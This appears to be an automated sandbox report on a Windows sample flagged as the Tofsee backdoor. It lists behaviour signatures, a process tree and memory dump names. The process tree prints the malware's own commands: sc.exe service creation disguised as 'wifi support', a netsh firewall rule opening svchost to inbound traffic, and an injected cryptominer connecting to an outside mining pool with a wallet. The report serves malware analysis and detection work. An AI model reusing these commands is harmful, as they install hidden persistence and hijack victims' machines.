Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    12/11/2020, 14:12

General

  • Target
    1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4.exe
  • Size 14.9MB
  • Sample201112-bcj6tfb55a
  • SHA256 1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4.exe
    "C:\Users\Admin\AppData\Local\Temp\1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1148
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 544
      2⤵
      • Program crash
      PID:3288
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 664
      2⤵
      • Program crash
      PID:3480
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 696
      2⤵
      • Program crash
      PID:3200
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 748
      2⤵
      • Program crash
      PID:732
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 796
      2⤵
      • Program crash
      PID:748
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 888
      2⤵
      • Program crash
      PID:504
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 944
      2⤵
      • Program crash
      PID:1124
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ctmwvvl\
      2⤵
        PID:800
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 860
        2⤵
        • Program crash
        PID:2180
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 584
        2⤵
        • Program crash
        PID:2416
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pbaozjrl.exe" C:\Windows\SysWOW64\ctmwvvl\
        2⤵
          PID:3780
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 668
          2⤵
          • Program crash
          PID:3804
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 700
          2⤵
          • Program crash
          PID:2964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ctmwvvl binPath= "C:\Windows\SysWOW64\ctmwvvl\pbaozjrl.exe /d\"C:\Users\Admin\AppData\Local\Temp\1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3320
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 856
            2⤵
            • Program crash
            PID:3180
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 1020
            2⤵
            • Program crash
            PID:2240
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ctmwvvl "wifi internet conection"
            2⤵
              PID:420
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 640
              2⤵
              • Program crash
              PID:856
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 732
              2⤵
              • Program crash
              PID:2192
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ctmwvvl
              2⤵
                PID:3772
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 832
                2⤵
                • Program crash
                PID:2632
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 732
                2⤵
                • Program crash
                PID:2844
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1416
              • C:\Windows\SysWOW64\ctmwvvl\pbaozjrl.exe
                C:\Windows\SysWOW64\ctmwvvl\pbaozjrl.exe /d"C:\Users\Admin\AppData\Local\Temp\1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1468
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1468 -s 572
                  2⤵
                  • Program crash
                  PID:2736
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2756
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3992
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1468 -s 576
                  2⤵
                  • Program crash
                  PID:3912

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/1148-1-0x00000000026F0000-0x00000000026F1000-memory.dmp

                    memory/1148-2-0x00000000026F0000-0x00000000026F1000-memory.dmp

                    memory/1148-0-0x0000000000C90000-0x0000000000C91000-memory.dmp

                    memory/1468-11-0x0000000000C3A000-0x0000000000C3B000-memory.dmp

                    memory/1468-12-0x00000000012B0000-0x00000000012B1000-memory.dmp

                    memory/2756-14-0x0000000002D20000-0x0000000002D35000-memory.dmp

                    memory/2756-19-0x0000000004E40000-0x000000000504F000-memory.dmp

                    memory/2756-20-0x0000000002DD0000-0x0000000002DD6000-memory.dmp

                    memory/2756-21-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

                    memory/2756-22-0x0000000002DF0000-0x0000000002DF5000-memory.dmp

                    memory/2756-23-0x0000000009490000-0x000000000989B000-memory.dmp

                    memory/2756-24-0x00000000031E0000-0x00000000031E7000-memory.dmp

                    memory/3992-25-0x0000000000830000-0x0000000000921000-memory.dmp